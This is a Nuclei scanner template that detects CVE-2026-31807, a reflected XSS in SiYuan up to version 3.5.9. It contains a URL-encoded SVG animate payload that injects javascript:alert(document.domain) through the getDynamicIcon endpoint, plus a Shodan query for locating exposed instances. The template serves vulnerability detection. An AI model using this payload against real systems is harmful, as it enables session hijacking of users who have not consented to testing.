id: CVE-2026-31807

info:
  name: SiYuan <= v3.5.9 - SVG Animate Element XSS
  author: 0x_Akoko
  severity: medium
  description: |
   SiYuan <= v3.5.9 contains a reflected XSS caused by insufficient SVG sanitization allowing SVG animation elements to inject executable JavaScript in /api/icon/getDynamicIcon endpoint, letting unauthenticated attackers execute scripts.
  impact: |
   Unauthenticated attackers can execute arbitrary JavaScript, leading to session hijacking or other client-side attacks.
  remediation: |
   Update to version 3.5.10 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5hc8-qmg8-pw27
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31807
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-31807
    epss-score: 0.00378
    epss-percentile: 0.59472
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: siyuan-note
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,xss,svg,reflected,unauth

flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/system/version"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'compare_versions(ver, ">= 0.0.1", "<= 3.5.9")'
        condition: and

    extractors:
      - type: json
        name: ver
        internal: true
        json:
          - '.data'

  - method: GET
    path:
      - "{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Ca%3E%3Canimate+attributeName%3D%22href%22+values%3D%22javascript%3Aalert%28document.domain%29%22+begin%3D%220s%22+fill%3D%22freeze%22%2F%3E%3Ctext+x%3D%2250%25%22+y%3D%2280%25%22+fill%3D%22red%22+style%3D%22font-size%3A60px%22%3EClick+me%3C%2Ftext%3E%3C%2Fa%3E%3Ctext%3E&color=blue"

    matchers:
      - type: word
        part: response
        words:
          - '<animate attributeName="href" values="javascript:alert(document.domain)" begin="0s" fill="freeze"/>'
          - 'id="dynamic_icon_type8'
        condition: and

      - type: word
        part: content_type
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202ec1f7f26ff4557220c07da462ed2138a8efa0c86ae4c8141e217a68588d7899022100efc9985a88fd3232d8a1471e93ba8c7d291ad5e5161c95c9ca6c022dc709598a:922c64590222798bb761d5b6d8e72950